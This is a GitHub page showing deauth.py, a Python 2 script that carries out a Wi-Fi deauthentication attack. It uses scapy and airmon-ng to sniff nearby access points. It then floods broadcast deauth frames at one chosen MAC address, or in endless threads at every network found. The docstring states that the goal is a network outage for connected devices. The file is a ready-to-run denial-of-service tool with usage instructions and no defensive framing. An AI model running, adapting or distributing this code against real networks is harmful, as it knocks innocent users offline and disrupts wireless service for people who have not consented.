forked from veerendra2/wifi-deauth-attack
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdeauth.py
168 lines (151 loc) · 6.4 KB
/
deauth.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/usr/bin/env python
"""
Sends deauth packets to a wifi network which results network outage for connected devices.
"""
__author__ ="Veerendra Kakumanu"
__license__ = "Apache 2.0"
__version__ = "2.1"
__maintainer__ = "Veerendra Kakumanu"
print "\n+---------------------------------------------------+"
print "|Deauth v2.1 |"
print "|Coded by Veerendra |"
print "|Blog: www.networkhop.wordpress.com |"
print "|https://github.com/veerendra2/wifi-deauth-attack |"
print "+---------------------------------------------------+\n\n"
import os
import threading
import sys
import re
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
import scapy.all
except:
print "\n'scapy' module not found. Installing..."
os.system("sudo apt-get install python-scapy -y")
import scapy.all
scapy.all.conf.verbose = False
class airmon(object):
def __new__(cls, *args,**kwargs):
mon_interface=list()
with open("/proc/net/dev","r") as f:
for line in f.readlines():
if re.search(r'mon[0-9]+',line):
print "Found airmon-ng interface..",line.split(":")[0].strip()
mon_interface.append(line.split(":")[0].strip())
if not mon_interface:
iface=findIface()
print "Starting monitoring interface on '{}'...".format(iface)
if os.system("airmon-ng start {}".format(iface))!=0:
print "\nairmon-ng not found. Please install aircrack-ng. RUN 'sudo apt-get install aircrack-ng -y'"
raise SystemExit() #Instance creation Aborted!
mon_interface.append("mon0")
new_instance=object.__new__(cls,*args,**kwargs)
setattr(new_instance, "mon_interfaces",mon_interface)
return new_instance #returns the instance, if there is mon0 interface
def findIface():
iface=None
wireless_file="/proc/net/wireless"
if os.path.exists(wireless_file):
with open(wireless_file,'r') as f:
for line in f.readlines():
if not re.search(r'Inter-',line) and not re.search(r'face',line):
iface=line.split(":")[0]
if iface:
return iface.strip()
else:
iface=raw_input("Wireless interface not found.\nPlease specify wireless interface> ")
return iface
def spinner():
while True:
for cursor in '|/-\\':
yield cursor
class sniffWifi(object):
def __new__(cls,*args,**kwargs):
mon=airmon() #Starting airmon-ng
return object.__new__(cls,*args,**kwargs) #returns the instance, IF there is mon0 interface
def __init__(self,pktlimit=2000):
self.ap_list = dict() #Key--> ssidcount, Value-->[MAC, SSID]
self.ap_set=set()
self.pktcount=0
self.ssidcount=0
self.pktlimit=pktlimit #Number of beacons should listen
self.test=spinner()
def packetHandler(self,pkt):
self.pktcount+=1
if pkt.haslayer(scapy.all.Dot11) and pkt.type == 0 and pkt.subtype == 8 and pkt.addr2 not in self.ap_set:
self.ssidcount+=1
self.ap_set.add(pkt.addr2)
self.ap_list.setdefault(self.ssidcount,[pkt.addr2,pkt.info])
def stopFilter(self,x): #Stop the Sniffing if packet reachs the count
sys.stdout.write("\b{}".format(next(self.test)))
sys.stdout.flush()
if self.pktcount==self.pktlimit:
return True
else:
return False
def runSniff(self): #Sniffing Here!
print "\nSniffing wifi signals, it will take some time. Please wait.....",
scapy.all.sniff(iface="mon0", prn = self.packetHandler, stop_filter=self.stopFilter)
class Deauth(threading.Thread):
def __init__(self,mac=None):
threading.Thread.__init__(self)
self.mac=mac
self.pkt=scapy.all.RadioTap()/scapy.all.Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=mac,addr3=mac)/scapy.all.Dot11Deauth()
def run(self):
while True:
print "Sending packet->",self.mac
scapy.all.sendp(self.pkt, iface="mon0",count=1, inter=.2, verbose=0)
if __name__=='__main__':
if not os.geteuid() == 0:
print "[ERROR]".ljust(8," "),"Script must run with 'sudo'"
print "Usage: sudo python deauth.py [MAC or all]"
exit()
try:
input=os.environ["DEAUTH"] #Starting with Environmental variable `export DEAUTH=<MAC>`
if re.search(r'(?:[0-9a-fA-F]:?){12}',os.environ["DEAUTH"]):
print "Got the MAC address from environmental variable!"
mon=airmon()
Deauth(input).start()
else:
print "Incorrect MAC address formate in environmental variable"
raise ValueError
except: # Environmental variable was not set or MAC address was not in corrent format
if len(sys.argv)==1: # No command line argument
ap=dict()
sniff=sniffWifi()
sniff.runSniff()
while True:
try:
print "\n\n","0".ljust(2," "),"Sends deauth packets to every network which are given below"
for id, ssid in sniff.ap_list.iteritems():
print str(id).ljust(2," "),ssid[0].ljust(20," "),ssid[1]
x=int(raw_input(">>"))
if x==0:
for id,mac in sniff.ap_list.iteritems():
Deauth(mac[0]).start() #Multi Threading Here
break
elif x in sniff.ap_list:
Deauth(sniff.ap_list[x][0]).start()
break
else:
print "Please enter valid option.\n"
except:
print "Please enter valid option.\n"
continue
elif len(sys.argv)==2:
input=sys.argv[1]
if input=="all":
sniff=sniffWifi()
sniff.runSniff()
for id,mac in sniff.ap_list.iteritems():
Deauth(mac[0]).start() #Multi Threading Here
elif re.search(r'(?:[0-9a-fA-F]:?){12}',input):
mon=airmon()
Deauth(input).start()
else:
print "Incorrect MAC address formate!\nUsage: sudo python deauth.py [MAC or all]"
sys.exit()
elif len(sys.argv)>2:
print "Usage: sudo python deauth.py [MAC or all]"
sys.exit()